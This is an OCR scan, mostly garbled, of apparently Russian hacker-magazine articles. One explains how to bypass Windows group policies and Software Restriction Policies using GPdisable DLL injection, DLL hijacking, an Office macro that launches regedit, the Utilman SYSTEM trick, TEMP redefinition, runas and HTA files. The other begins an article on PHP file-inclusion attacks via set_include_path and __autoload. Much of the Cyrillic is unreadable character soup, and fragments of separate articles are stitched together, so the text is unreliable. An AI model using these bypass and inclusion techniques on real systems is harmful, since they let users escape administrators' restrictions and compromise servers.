& i Relegiary: a noJsly4yaeTux B OTBET OT JOMEHa.
B o
L . W 4. TlpuBxofe nosib30BaTeNs BbIMOJHAETCS aHaIOTMYHbIA 3aNpoc, HO yXKe
N T — - PR N0 NoJb30BaTENbCKUM MOSUTHKAM.
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HepocTtatouyHo npas? [locTaTouHo
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Corf mwik ihare

best

Win+U+Help +Jumptourl=TonHoueHHbint Explorer

MTak, 4To Mbl 346Cb BUAUM: NONUTUKM MOATPYKAIOTCS HA CTAANM BXOAA
BcucTeMy. 3aecbecTb Hebonbwas duya. lMoymonyaHuio obHoBeHNE
NOSIMTUK BbIMOJTHAETCA Kaxable 5 MUHYT. Ho ecim nonuTukm He bbinu
noNly4yeHbl BO BPEMS BXOAa B CUCTEMY, TO 0OHOBNATLCS OHU He ByayT!
BbiprcoBbiBaeTCS 31€MEHTaPHbIV CNOCOD, KaK 3Ty 0CO06EHHOCTH MOXKHO
MCMNoNb30BaTh:

1. BblHMMaeM naTy-KopA M3 KoMna.
2. BkutoyaeM KOMM M IOFMHUMCSA MO CBOEN YYETKO.
3. MopknioyaemnaTy-kKopAaobpaTtHo.

[laXke Npy OTCYTCTBUM [LOCTYNA B CETb Mbl CMOXXEM BOMTH B JOMEH, Tak
KaK BUHAA paHee 3akeluMpoBaa Hal I0rWH 1 Naposib (370 Npou3oLwL o 8o
BpeMsi npeAblfylero Bxo4a B cuctemy). Hoyxe 6e3 npuMererns rpyn-
NOBbIX NOANTUK. [PV 3TOM Mbl CMOKOHO CMOXEM UCMOb30BaTh PeCypChbl
CeTu, Tak KaK MaTy-KopA K 3TOMy MOMEHTY byfeT Ha MecTe, a o BCAKUMU
aBTOPM3aLWSIMU Ha ylaeHHbIX pecypcax cnpaBuTcs cama BuHaa. Crout
n06aBnTb, 4To B 6€30MacHOM pexuMe BUH/bI TPYNMNoBbie MOUTNKM BO-
oblie He ileicTBYIOT. KoMMeHTapuu, 5 yMato, U3ULHU.

TPIOK 2. KAKTIPONCXOOUT MPOBEPKATIOJINTUK?
BaxHo MoHMMaTb, Ha KakoM 3Tane NPOMCXOAMUT conocTaBneHne fei-
CTBWS, KOTOPOE XOYeT BbIMOJHUTL NONb30BaTe b, CTEMU OrpaHUYeHUAMM
rpynnoBbIX MOJIMTUK, KOTOPbIE Ha Hero HaknageiBatoTcs. Cnepsa AaBait
pa3bepeMcs, rae pacnonoXeHbl NOANTUKMN.

/I3HauanbHO, KOHEYHO, HAa KOHTPOIEpe OMEHa, 0TKYyAa yXKe nepe-
[,Al0TCS Ha MalLWHbI B 10KasbHO ceTu. [Tocne nonyyeHUs rpynmnoBbix
NOJIMTUK Ha KIMEHTCKON MaLLMHE OHW COXPAHSIOTCSA B peecTpe BUHAbI B
cneaytoLmx MecTax (MpuBeaeHbl OCHOBHbIE BETKM):

MonnuTuKK Ana Komna:

o HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Policies\

e HKEY_LOCAL_MACHINE\Software\Policies\

MonuTUKK Ana nonb3oBaTeneii:

o HKEY_CURENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\

o HKEY_CURENT_USER\Software\Policies\

Korpga3anyckaeTca Kakoi-To npouecc, Tos HeM (ToecTb B
userspace’e) NpoM3BoANTCA NpoBEpPKa AaHHbIX BETOK peecTpa (Yepes
NOATpyXeHHyto bubnuoTteky advapi.dll) Ha Te nnn nHbie orpaHnyeHns,
KOTOpbIE MOTOM KeLUpyTCs/coxpaHsaioTcs B naMaTv npouecca. OHu
NpoBEepPSTCH, KOrfa nonb30BaTeNb BbINONHAET KAKOEe-To leiicTBUe,
Hanpumep 3anyck 0. BuyeMnonsox? BToM, 4TO KOHTPOSb MPON3BOANT-
cAu3camoronpouecca. ToecTb €CM NPOLECC «HE 3aX04eT» NPOBepPsATh
MOJIMTUKM, TO HUYTO ero He 3aCTaBUT UX cobntofaTe. Hukakoro obuero
MOHUTOpUHTa He Nnpon3BoauTcs! OTciofa BIBOA: €CN Mbl KAKUM-TO
06pa3oM CMOXeM 3anyCcTUTb MPOU3BOJIbHBIA NPOLLECC, TO NOAUTUKM HaM
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06xop4epe3HeKOPpPeKTHYH 06paboTKy ApbIKOB

yXe He cTpawHbl. Chenatsb Kak npasuio — He npobnema. laxe ecnu
HETBO3MOXXHOCTM 3aKa4yaTb MPOTPaMMy Ha XOCT, MOXKHO BbIMOJTHUTb ee
ynaneHHo (Hanpumep, yepes wapy).

TPIOK 3. 0O6XOANM SRP

YBbI, lanblle Ha HalleM MNyTW BO3HWKaeT Apyroi MexaH3M orpaHnyeHnin —
SRP (Software Restriction Policies). 3To rpynna nonnTuk, c nomMoubio
KOTOPbIX a;MUH MOXET OrpaHnynTb cincok M0, KoTopoe MoXeT3anyckaTb
noNb3oBaTesb, Yepe3 YepHblii v benbiii cnncku. Blacklist n Whitelist
onpeAeNfoTCs C MOMOLLbI0 NPaBMIl, KOTOPbIE MOXHO 3a/jaBaTb HECKObKUMU
cnocobamu: no 3oHam o ceptudukatam (nepBbie 4Ba BapuaHTa npakTu-
4eCKM He UCMoMb3YTCA), a TakKe no nyTu 4o Gpaiinav noeroxewy. 0 Tom,
4TO B CUCTEME BecTBYI0T NonnTUKK SRP, yka3biBaeT cOOTBETCTBYIOLL U
nyHkTBpeectpe—HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\
Windows\Safer\Codeldentifiers\TransparentEnabled co 3HaueHnem 6osb-
wum 0, KoTopbIN, KaK yxKe bbino Cka3aHo Bbllle, NPOBEPSAETCA NpU 3anycke
npouecca. Hawa3saaay4a, COOTBETCTBEHHO, 0TPYOUTL 3Ty NPOBEPKY BHYTPU
3anyckaemoro npouecca. Mapk Pyccunosnd (goo.gl/KNauh) ewe 8 ganekom
2005ropyony6nukosannoctebnoreobobxope SRPunpeacrasnnTynsy
GPdisable. OHanpoun3soanT DLL-MHbeKLMIo B 3aAaHHbI NpoLiecc, Noarpy-
xas cneyunanbHyto DLLKy. Korga npouecc nonbiTaetcs nosy4nTs 3HaueHue
kmovapeectpa HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\
Windows\Safer\Codeldentifiers\TransparentEnabled, To ecTb byaeTnpo-
BepATb NpucyTcTBre NoNNTUK SRP, naHHas brbnnoTteka nepexsaTuT3anpoc
1 Bo3BpaTuTSTATUS_OBJECT_NAME_NOT_FOUND. Takum 06pa3om, npo-
uecc gymaet, ytoBce OKn SRP nonnTukm B cucteme He feCTBYIOT.

Mocne nokynkn koMmnanuu Sysinternals MaikpocodTtom GPdisable
nepecTan 6bi 0pULMANLHO AOCTYMHBIM (HO ero No-npexHeMy nerko
HanTn B Cetn (bit.ly/nnzjN9). EcTb eule 6onee npoABnHYThIE peLleHus.
Ytunuta GPCul8or (bit.ly/nJAYri) o Eric’a Rachner'a binonHser aHa-
NOTUYHbIe PYHKLMM, HO OCTYMHA B UCXOAHMKAX. YTo 3To Ham faeT? Mbl
MoxeM fobaBuTb B GPCul8or ntobble apyrune 3HauyeHus peecTpa BUHLbI
(DisableTaskMgr, ProxySettingsPerUser k npumepy) utakim ob6pasom
000TU BCe BO3MOXHbIE OrpaHUYeHNs MoNTUK. Kakue UMeHHO 3HaYeHUs,
cnpocuwb Thl. Tebe B noMolb RegMon oT Mapka PyccuHosuuya, xoTs, no
CyTM—3To BCe 3HayeHus n3 seTkm Policies.

[ipyroiiopuruHanbHblii cnocob B ceoeM biore onybnvkosan ngbe
Crusenc(goo.gl/LETMO). Ucnonb3ys ceoto Tyn3y bpmtk (Basic Process
Manipulation Tool Kit), oH npe1oXun npsamo B naMaT Npoyecca M3MeHs s
3HaveHve HeobXoAMMOro AN FPYNMNOBON MONNTUKM BETKM peecTpa.

TPIOK4. BINARY PLANTING

YTtunuta GPdisable cocTonTns asyx dpaiinos:

e gpdisable.exe—wuHbekTupyetTDLL B npouecc;

e gpdisable.dll—cneunansHas DLL gnsobxona SRP.

Kak 1y>e cka3sas, eciiv Mbl MOXEM 3aMyCTUTb NPUITOXKeHWE, TO
MoXeM nerko 060t SRP u apyrve nonntuku (yepes GPdisable, bpmtk,
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Makpocbl He nanaTcs nonutukaMm SRP

GPCul8or—HesaHo). OgHaKo B peanbHoi CUCTEME MOXKET 0Ka3aTbCAa

He TaK y)XX NPOCTO 3anyCTUTb 3TU NPU0KeHNS. Ho Mbl MOXXeM NoArpy3uTh
DLL (8 ToMyuucne gpdisable.dll). TyTecTb BaxHbi HioaHc. [pynnossie
noantukv npuanycke MO MoryTnposepsaTb v DLL'kK, Ho npuatom
[,0CTaTOYHO CUJIbHO NafaeT NPOU3BOANTENIbHOCTL CUCTEMBI, TOTOMY

Mo yMOoJ4aHMIo 3Ta ONLMs 0TKIlo4eHa. M Mbl 3TO MOXXEM UCM0b30BaTh!
OueHb KCTaTV NPUXOANTCS HeAaBHee UCCefloBaHMe 0T KoMNaHun Across
Security (bit.ly/ov7EAz), koTopoe paccka3biBaeT 0 HOBbIX (0cTaToOuHO
13BpaLLeHHbIX, Ho paboTatoLwmnx) MeTofax NoArpy3KM KOAA B NPOLLECCHI.
Mpuem HasbiBaeTca Binary planting (v kak ero knaccuyeckuii npumep —
dil hijacking), npueronsy4yeHnny MeHs BO3HMKIIA MbICJTb: «a MOYEMY He
Cnonb30BaTh ero Ass 06xofa rpynnosbix nonnTuk?». Ecamcuctema
paspelwaeT 3anyck NpUI0KeHMI ToNbKO 13 benoro cnucka (nyckai gaxe
Tosbko Word), 70 3Toro y)xe 40CTaTo4Ho, YTOBLI MOATPY3UTh HaALLY MO-
nesHyto DLL pns obxopa SRP. Utak, nonpobyem ckpecTtutb dil hijacking ot
napHei nsAcrossu GPdisable:

PYMMNOBLIE MOJINTUKKN
B TOHKMX KJIMEHTAX

XoyeTcs elle pacckasaTb Npo Takue cucteMsl, kak Citrix XenApp. Yto
3ToTakoe? XenApp, €CN rOBOPUTH MPOCTLIM A3bIKOM, 3TO CUCTEMA «[0-
CTaBKW» NPUNOXKEHUN (XOTSA 3TO TONbKO YacTb GyHKLMoHana). Mo cyTu,
3TOYTO-TO TMMa TEPMUHANBHOTO CepBepa BUHAbI, HO KOrAa noab3oBaTe-
10 LOCTYMHO TONIbKO KOHKPETHOE NPUIIoXKeHNe. BXKN3HI 3TO BbIrNAANT
Tak. Monb3oBaTenb KOHHEKTUTCS KNneHTOM K Citrix-cepBepy —eMy
BbIBOAUTCS cnucok goctynHoro M0. [lanee o3ep 3anyckaeTKakoe-To
NpUAOXeHNe M HaynHaeTB HeM paboTaThb. OcHoBHasA Guya BTOM, 4TO
bakTuYecku npoLecc npunoxeHns BbinoaHsetcs Ha Citrix-cepsepe. Mo
CYTH, AaHHbI NOAX04 X0poL (0COBEHHO C TOHKUMU KAIMeHTaMu), Hoy Hero
€CTb My4YOK KOCSIKOB C TOYKM 3peHns 6e3onacHocTu. Tak Kak npoLecc—Ha
cepBepe, T0, 3Ha4NT, N0b30BaTesI0 LOCTYMHbI BCE pecypchi cepeepa (¢
Y4eTOM M0/Ib30BaTeIbCKUX NPaB, KOHEYHO). ITO He 04eHb XOPOLLO, TaK
Kak npeanonaraeTcs, YToynoab30BaTeNA JO/KEH BbITb AOCTYN TONBKO K
3anyuieHHo nporpamme, aHe k OC. YTo ewe xyxe, ,06paTbCca-To 4o caMoit
0C—Henpobnema. laxe ecnnycamoro 10 HeTBO3MOXHOCTW MO B3aUMo-
peictauio c OC (HeTMeHio «OTKpbITb», «COXpaHWUTb Kak»), To cTaHAapTHble
BO3MOXHOCTW BUHAbI BCe ellle paboTatoT: HaxumaeM B Citrix-npunoxeHnu
<Ctrl+Shift+Esc>—mHam oTkpbiBaeTcs gucneTyep 3agad Citrix-cepsepa,
WAV NpaBbIi KNWMK N0 packiafKe KiaBnaTypbl, a 0TTyAa B Gpaitsi cnpaBku c
BO3MOXHOCTbIO IMCTUHIAa UPeKTOPUIA. JIMYHO § CTONIKHYNICA C FPYNNoBbI-
MU MOANTUKAMU UMEHHO B 3TOM KOHTekcTe —npw B3nome Citrix.
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06xopnonuTukyepesRunas

1. MepeumeHosbiBaeM gpdisable.dll B ehTrace.dll.

2. CospaemnankycuMeHem Kyky.{2E095DD0-AF56-47E4-A099-
EAC038DECC24} (Ha3BaHue noboe, TEKCT NOCAE TOYKM MCYE3HEeT).

3. KupaemehTrace.dllBToNbKO YTO CO3AaHHYI0 NankKy.

4. 3axoauMBNankyucosgaemTam nobon gokymeHT B Word, Excel unu, k
npumepy, PDF'ky.

5. TenepbOTKpbIBaEM TONbKO 4TO CO3AaHHbIV hain.

6. CooTBeTcTBytollas NporpaMMa fOMKHa 3anycTuTbes. M 3anyctuts
BMeCTe CMoArpyxeHHon DLL'koi!

8. Bce, MoOANTUKU HaM He CTpaLLHBbI.

YacToMoXHO 060/TUCL M 6e3 NOJ0BHBIX yXULLPEHWIA, €CIM 3HATL TOHKOCTH

NONINTWK, B pe3ysibTaTe KOTOPbIX X AeCTBUS pacnpoCcTpaHaoTCs:

e HanporpamMbl, 3anyLeHHbIe 0T UMEHU yYeTHO M 3annucn SYSTEM;

e [paiiBepbl M Apyrue NPUNOXEHNS YPOBHA A4pa;

® Makpochl BHyTpu gokymeHToB Microsoft Office;

® MporpaMMbl, HanucaHHble A5 00LLEN MHOr0SA3bIKOBOM BMbAKOTEKM
BpeMeHu BbinonHeHns (Common Language Runtime).

WTak, npouecchl oTSYSTEM He koHTponupytoTcs. MepBblii GUHTYLWaMu:
ecnnecTbAocTyn k kakoMy-To [0, 3anyLleHHOMY NOA TaKoW y4eTKON, —
atakyeM. Hanpuwmep, HaxnumaeM Win+U —3anyckatotcs «cneyuanbHble
BO3MOXHOCTU» (nynaw akpaHHas knasuatypal. Utilman.exe (mpouecc «cne-
LManbHbIX BO3MOXHOCTE») npnaToM 3anyckaetcs oTSYSTEM. [lanee ngem
Tam B «CnpaBKy». OHa TOXe A0/KHA OTKPbITLCS C HYXKHbIMU NPUBUNET UMY,
TaK Kak 3anyLeHa B KOHTeKCTe npoLiecca c npaBamMu SYSTEM. EcnvBunpa
He camas HoBas (o Vista), To kNkaeM NpaBoi KHOMKOW Ha CUHE BepxHel na-
Henbke «Jumptourly», Tamneyataem «C:\» nnoayyaem HaCTOALMIA BCTPOEH-
Heliexplorer. Ecnubonee HoBas, To MOXHO M0 NpaBOMY KNIMKY BTeKCTe Xxenna
npocMoTpeTbUcxoaHbI Koa (View Source) yepes 610KHOT, 0TKyAa Aanee
nobpatbes go dannos. Vinmapyron BapuaHT— «f06aBUTb» HOBBIN NPUHTEP,
NOMYYNB ONATL XKE AOCTYN KUCTUHTY dpaitnos.

[pyras uHTepecHas KaTeropus— MaKpoChbl BHyTPY LLOKYMEHTOB
Microsoft Office. 3To cTpawHoe geno. MonpobyeM ans Hayana peanuso-
BaTb3anyck [10. XoTa ecnn3anyck 3a6104eH 06bIYHBIMU NOAUTNKAMK (He
SRPJ, kak, HanpuMep, 610KMPOBKO AncNeTyepa 3afay, To 9T0T 06xo4 He
cpaboTtaet. Ho HaM-To rnaBHoe —3anycTUTb CMeLabHblil exe'lHK.
MoaToMy B tobOM fOKYMeHTe CMenio co3AaeM CrefytoLinii MakpoC 1 npo-
byeM3anycTutbero:

Sub GOSHELL()

Shell "C:\windows\system32\regedit.exe", vbNormalFocus
End Sub
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HepocTtatouyHo npas? [locTaTouHo

B pesynbTaTe, Kak Tbl MOXKeLLb 40TafaTbCs, Mbl MOJTy4aeM 3anyLieH-
HbIi exe. XapAKOHHbI MeToA npeAnoxun onsate e Anabe CTuBeHc
(900.9l/kSPK3). Ucnonb3ys B Makpoce MS Excel dyHkumm VirtualAlloc,
WriteProcessMemory u CreateThread, oH cyMen noarpy3nThb WeNnKkog,
13 Makpoca B namaTb npouecca. lanHbii wennkod nogrpyxaet DLLky
BnamsaTbnpouecca, aDLL'ka—He yTouHoe, kak cmd.exe. Kctatu, ee
MCXOAHWMKM B3Tbl M3 NpoekTa React0S. Kak s yxe ckazan, SRP moxeT
npenaTcTBoBaTh3anycky DLL'ek [xoTq 1 He genaeTatoro noymonyanuio),
HO eCNM NOArpy3Ky bubnnoTek ocyLecTBAATE, NCNONb3YS GYHKLMIO
LoadLibraryExc LOAD_IGNORE_CODE_AUTHZ_LEVEL BmecTo
LoadLibrary, TonpoBepka Ha nprHagnexHocTb noarpyxaemoin dll k
white-nucTy He nponcxoaunT!

TPHOK 6. ICIM0JIb3YEM MEPEMEHHbIE CPEbI

Korpa HaunHaelwb My4YnTb rpynnoBble MOJAUTHKK, TO MPUXOLUT 0CO3HaHMeE,
4TO AN CO3[aHNA 3aLUULLEHHOV CUCTeMbl NoTpebyeTcs nonoTeTs. [leno
TpyAHOe 1 ¢ 6oMbLLIMM KOIMYeCTBOM TOHKOCTEN. HanpuMep, paspaboTynku
npeanaraoTafiMUHAM UCNONb30BaTb YAO0OHbIN XMHT —YyKa3biBaTb Nepe-
MeHHble cpefibl BKayecTBe nyTen ansorpainyennit SRP. lasot3sgeck
npobnema.Y nonb30BaTENS, ECN UXIKECTKO HE MPHULLYYUTb, ECTb BO3-
MOXHOCTb UX NepeonpefenaTb. YKasas, HanpuMep, afMuH, 4To U3 nanku
%TEMP% MoXH0 3anyckaTb exe'lWWHWKW, a to3ep B3s1 4a v nepeonpeaennn
cnepyrwlien KOMaHLoM:

Set TEMP C:\

/I BOTTak NpoCTO MOY4nSI BO3IMOXKHOCTb 3anyckaTb Ganbl 3 kopHs C:.
KpomeToro, He cTonT 3abbiBaTh PO CTaHAaPTHbIE AUPEKTOPUN, 13 KOTOPbIX
paspeLlueH 3anyck exe-¢aiinos:

o %HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\SystemRoot%

o %HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\SystemRoot%*.exe

o %HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\SystemRoot%System32\*.exe

o %HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\ProgramFilesDir%

OHu paspewatot3anyck MO Tonbko nz nanku Windows n Program
Files nnanonb3oBaTesieit.Y 06bIYHOro N0b30BaTENA HET BO3MOXHOCTH

6 | GpCnabie. ene

Wiraiowsd Canriot open ths program becaute € Fus been
Event Viewssr of CONLACL youx syvlees cisrmtr ator .

=
06xoayepe3n3MeHeHNe nepeMeHHON OKPYXXeHNs
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3anuncu B HUX, HO M 34eCb MOTYT BbITE MpobeMbl. Tak Kak Ha caMoM fene
npaBaHa3anucbynosib3osaTens ecTb—rnogedonty s nanky C:\windows\
system32\spool\Printers u C:\windows\temp. Ecnny nons3zosatens byget
BO3MOXHOCTb NMNCaTb B KAKOM-TO KaTanorccopTom, To, CYUTal, COOTBET-
cTBytoWme nonnTnkn SRPyxe He cpaboTatoT. Kctati, 4ns Toro Ytobbl Ha
NpakTUKe MOBEPUTb, KaKMe Yy NoNb30BaTENs eCTb NpaBa, NOMOXETTyN3a —
AccessChk oTBceToroxe Pyccunosunya (goo.gl/jQ9tt).

TPIOK7. NCTMNOJIb3YEM IPYTOIr0 MOJIb30BATEJIA

EcTbcnocob He noanycTUTL NOATPY3KM MOANTHK, HO 151 3TOFO TPUKA HaM

NoHaf0bATCA NOTUH M Napob Apyrorononb3osatens. CyTb BTOM, YTo HaM

Haf0 BOMTU B CUCTEMY «eLLe pa3», Ho He Nof coboit. TyTABa BapuaHTa:

1. <Shift>+npaBblfi KNUK Ha 3anyckaeMoM paiine, fanee B KOHTEKCTHOM
MeHIo BbibpaeM «Runas...».

2. YepeskoHconb HabupaeMm komaHay: runas /noprofile <HassaHue
exe-panna>.

[pyroiinonb3oBaTeNb, N0 KOTOPLIM Thi 3aMyCcKaellb NPOrpaMMKy,
KaK M Tbl, MOXKET ObITb 06bIYHbBIM M0N1b30BATENIEM C OFPAHUYEHHbIMU Npa-
BaMu. Ho MonnNTVKM Ha 3anyLLeHHYI0 MporpaMMKy yxe He byayTeicTBo-
BaTb! CM. pucyHoK.

HaHeMnonb3oBaTenbtest_gpo3 He MoxeT3anycTutbregeditns-3a
nonutuk. Ho, 3anyctus nop test_gpo2 nwboit exe'WwHuk (gucnetyep sapay
HanpuMep), OHyXXe HNYEM He OrpaHUYeH U N0ITOMY MOXKET 3aNyCTUTb
regedit. Kpome Toro, ecnnyHac eCTb BO3MOXKHOCTb yjaNleHHOr0 BX04a B
cuctemy (no RDP, Hanpumep), To Mbl MOXXeM NPOBECTN aHaN0rMYHbIA GUHT,
HO TONIbKO C 04HON y4eTKOM (LeMOHCTPaLIMIO MOXKELLb TOCMOTPETh B 3TOM

Buaeo— bit.ly/pXsBjé).

TPHOK8.BCITOMNHAEM PO HTA

[ocnefHU XMHT KacaeTca HeopULMaNbHbIX UCKITIOYEHWI, HA KOTOPbIE He
LeicTByOTrpynnosble nonnTnku. Bagumc MogaHc Hanncan B bnore ot-
JIMYHYI0 CEpUIo MOCTOB, MocBeLLeHHbIX SRP-nonnTukam. BuacTtHocTu, oH
06HapyXW OTANYHBIN NYTh ANA UX 06X0fa M 3anycka MPOM3BOJIbHOM0 KOAA
(goo.gl/BmBsm) cucnonssosannem npunoxerus HTA (HTML Application).
MTak, nocnenoBaTeNbHOCTb LEeACTBUN:

1. Co3paeM GaitnK c NPUMEPHO TAKUM TEKCTOM:

<HTML>

<script language="vbscript">
msgbox "I'm dangerous VB Code!!!"

</script>

</HTML>

2. CoxpaHsieMerocpacwupenneM.hta (Hanpumep, execute_this.hta).
3. Co3paeMApibIK ANs Hero.
4. OTkpbiBaeM ccbliky—wu hta3anyckaeTcs.

Hapo nvroBopuTs, 4To BMecTo Bbi3oBa 6e306ugHoro MessageBox'a
VB-kop MoxeTcaenaTbBcucteMe ytoyrogHo? Monutukm SRP gonx-
Hbl TPOBEPSATH BECh KOJ, KOTOPbI MOXKET UCMONHATLCS, BTOM Yucien
BCEBO3MOXHbIe CKpUNTbl. 04HaKO N3-3a TOHKOCTEN paboThbl rpynmnoBbIX
NONUTUK AaHHbI 060/ paboTaeT. KaHanornyHbIM «rnoKoBaTbiM» pac-
wupenuamnommmo HTABagumc otHocut REG, MSC, HTA, CHM. TouHo
TaK Xe cuTyaums Habnogaetcs uccom=gannamu (B ToM yucie BCIKUMMU
onackynbHbiMu JOC 0BCKMMM NpOrpamMMamu, KoTopble Bee ellye pasbpoca-
Hbl B Nanke BUHAbI). OHM He y4NTLIBAIOT NPaBMa rpynnoBbIX NONUTUK, Tak
Kak paboTatoTBBUpTYyanbHo MawwnHe DOS.

HALL ATOI

Kak Tbl MOXellb 3aMeTUTb, BCEBO3MOXHbIX ladeek NosiHo. Mx pasHoobpa-
31e N YXULLPEeHNS He MOTYTHe YAUBNATb. To, 4TO 5 CKaXy faliblie, MOXET
TebayanBnTh. [laxe nocne nepeyncneHns BCex 3Tux cnocobos Ans obxoaa
OrpaHMYeHUii 8 BCE Ke HACTOATEIbHO PEKOMEHAYI0 He NpeHebperaThb nx
ncnonb3oBaHneM. KToMy ke Tenepb Thl MOXKELLb YYNTbIBaTb BO3MOXHOCTb
NMPUMEHEHUS 3TUX SIa3eeK U C HAMHOT0 DoJbLLIE BEPOSTHOCTbIO HACTPOUTH
cucTeMy, kotopas byaeT 4OCTaTOYHO 3alLMLLeHa. 30
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B3JIOM

PrOxor Kotov (https://rdot.org/forum/)

Iblcaya
A 00U

VIHKJ

NOMCK )
YA3BUMOCTEM
KJACCA LOCAL/
REMOTE FILE
INCLUDE HA
HOBOM YPOBHE

LLInpoko n3BeCTHO, YTO NPUYMHOM
BO3HWKHOBEHUS YS3BUMOCTeN
knacca LFI/RFI 8 PHP-gBmxKax
CNY>XXUT BO3MOXHOCTb Nepefayu
NPOU3BOJIbHbIX JaHHbIX B ONepaTo-
pblinclude(_once)nrequire(_once).
Ha camoM gene nogkntoyeHune
dannos k PHP-cueHapumio MoxxHO
peann3oBaTb U MHOXECTBOM [py-
rMX, MEHEe M3BECTHbIX CNoco6oB,
06 aKcnyaLmmn KoTopbIX M nonaeT
peyb B 3TOW CTaTbe.
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LINKS

o www.php.net/
set_include_path—
onucaHue GyHKLUN
set_include_pathl();
* www.php.net/
unserialize—
onucaHue GyHKLUUN
unserialize();

* www.php.net/
virtual—onucaxue
byHkumuvirtual();

o www.php.net/ _
autoload—onucanue
MeTopa__autoload;
* bit.ly/nWyef6—
TeMaHagopyMerdot.
0rg, NOCBAWEeHHas
MaruyeckumMeTonam
u__autoloadByacT-
HOCTH;

o bit.ly/pdY5zS
—HEeMHOronpo
spl_autoload();

e www.phpmyadmin.
net—o¢uumanbHbli
caiiTphpMyAdmin;

o bit.ly/nV1niG—opauH
u3LFl-3kcnnoiitos
ansaphpMyAdmin‘a.

DVD

HaHawemMpucke Tbl
cMoXelbHalTunoA-
po6Hoe obyyatowiee
BUACOKOBCEM
ONMUCaHHBIMBCTaTbe
MeToAaM MHKNyAa.

TPHOKM CSET_INCLUDE_PATH()

[epBoe, Ha yTo bbl 5 X0TeN1 06PaTUTL BHUMAHUE, 3TO GYyHKLNS set_
include_path(), koTopasiycTaHaBnMBaeT AUPEKTOPUN LS UHKYLA B
nupektusy include_pathun gaeTBO3MOXKHOCTb MaHUNYNALMUN paboToi
onepaTopos include(_once)/require(_once). Takas MaHunynaums cta-
HOBUTCA BO3MOXHO B clyyae, ecnv B PHP-cueHapuv He 3apaH nonHbIn
nyTb K NOAKJIl04aeMoMy paiinly, To eCTb CHayana HyXXHbl Gann nweTcs B
nytaxu3include_path, a3ateMm—BpaboyeiifupekTopun ckpunTa.

TeM caMbIM, €CJIM Mbl CMOXXEM MepefaTh CBOU MPON3BOJIbHbIE AaHHbIe
Bset_include_path (unueini_set('include_path', [aaHHbie]), 4To
aHanormyHo, To 1erko n3MeHuM pesynbraTpabotslinclude.

[nsnpumepa nasaii Bo3bMeM abcTpakTHbIN kog PHP-npunoxexus, 8
0JHOM 13 CKPUMTOB KOTOPOTO Mbl HALLJIN CleAYHOLLEE UHTEPECHOE MECTO:

set_include_path($path . PATH_SEPARATOR . get_include_path());
include "myclass.php";

[lonycTuM, 4To B LJaHHOM CKPUMTE Mbl MOXEM BJIUSITb HA MEPEMEHHY0
$path. Hanpumep, oHa bepeTcs n3 6a3bl LaHHbIX, B KOTOPYO Yy HAC eCTb 40~
CTYM, UM KE e MOXKHO 3a4aTh B afIMUH-MaHENN MPUIIOXKEHMS, B KOTOPYIO
Mbl TaKXKe MOXKeM nonacTb. B obliem, BapnaHToB cyllecTByeT BennKkoe
MHOXeCTBO. JIerko noHsTb, YT0 TakiM 06pa30M Mbl CMOXXEM NMPONHKIYANTD
dainmyclass.php usnoboi gupekTopuu.
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ThicAYa v OAMH UHK YL

KoHeuHo, cama no cebe pyHkUns set_include_path(), koTopas npu-
HUMaeT NPOU3BOJIbHbIE MONIb30BaTEIbCKUE laHHbIe, HE SBNSETCS TaKo
Y CUAbHOYrpo30i 6€30MacHOCTH, HO €CJTN B TOM Xe NPUI0XKEHUN BAPYT
obHapyxuTcayaseuMocTbTuna «file manipulation» (To ecTb Mbl MoXxeM
co3/aBaTh Ganbl CNPOU3BOJLHBIM MMEHeM), TO TYTYXKe BMOJHE BO3MO-
XKeH cneayloLmMin NnoBopoT cobbiTuii:

1. Cospaems /tmp daiin c umenemmyclass.php (npasagocTynaHaaTy

avpekTopmio 06biuHo 777).

2. YcTaHaBnuBaeM $path = /tmp/.
3. ObpalyaeMcsi K CKPUNTY, BKOTOPOM eCTb yKa3aHHbIi BblLie KOA, M Ha-
brofaeMycnelwHbii HKNYA daiina myclass.php us gupektopum /tmp.

Thbl, KOHEYHO XK€, CMPOCULLIb, €C/INY HAC €CTb BO3MOXKHOCTb CO3[jaHus
npon3BosibHoro Gpaia Ha cepBepe, To3a4eM elle NPOU3BOANTL BCE ITH
«JIULWHUE» AeCTBUS.

3/ecbecTb OfMH BaXKHbIl MOMEHT: Tak Kak Mbl pacMaTpnBaem
ys3BUMOCTN UMeHHo PHP-ckpunToB, To He cTonT 3abbiBaTh, 4TO Ha
nofasnsiolieM bonblnHcTBe Beb-cepBepoB PHP 3anyuwex kak Mogynb
AnavyaunTeMcaMbiM He obnapaeT kKakuMu-nnbo ocobeHHbIMU NpaBamm,
kpome www/nobody/apache. Ytobbl packpyTnTb ysazBuMocTb Tuna «file
manipulation», Mbl BOJXXHBI CO3AaTb Gaiifn B KOPHEBOW AUPEKTOPUN
Beba, HoTaM BNosIHe MOXXeT M He bbITb KaTanora, OCTYNHOMO Ha 3anuch
cpeacTBamun PHP.

ABTOMATNYECKAA 3ATPY3KAOBBEKTOB
CnepytoLnii BaXKHbI MeXaHW3M, KOTOPbIA Takke NO3BOSET MaHUNYIN-
poBaTb aHHbIMM B KOHCTPYKuMsix include(_once)/require(_once), 3to
BO3MOXHOCTbaBTOMAaTUYECKOW 3arpy3ku 06beKTOB.

LinpokonseectHo, 4ToB PHP>=5.1.2 n BbIWwe bbina peanusosaHa
ynobHas «Maruyeckas» pyHkums __autoload, no3sonsioLias nofkto-
yaTb Gpaifbl CONUCaHMEM KN1ACCOB aBTOMATUYECKM 6€3 UCNOb30BaHNS
include B ABHOM BuAe.

EcnvobpaTtntbca K odpuumanbHoM [OKYMEHTAL MK, TO Halle BHUMaHue
BMOJIHE MOXET NPMBJieYb Takoe 3aMeyaHue oT paspabotumkos PHP:

If the class name is used e.g. in call_user func()

then it can contain some dangerous characters such as ../.

It is recommended to not use the user-input in such functions
or at least verify the input in __autoload().

[laHHoe 3aMeyaHne 03Ha4yaeTTOT GakT, YTO €C/IN Mbl MOXEM BIUATL Ha
napaMeTpbl GYHKL WA, ONepupyioLLnX Ha3BaHNAMU KNacCoB, TO CTaHO-
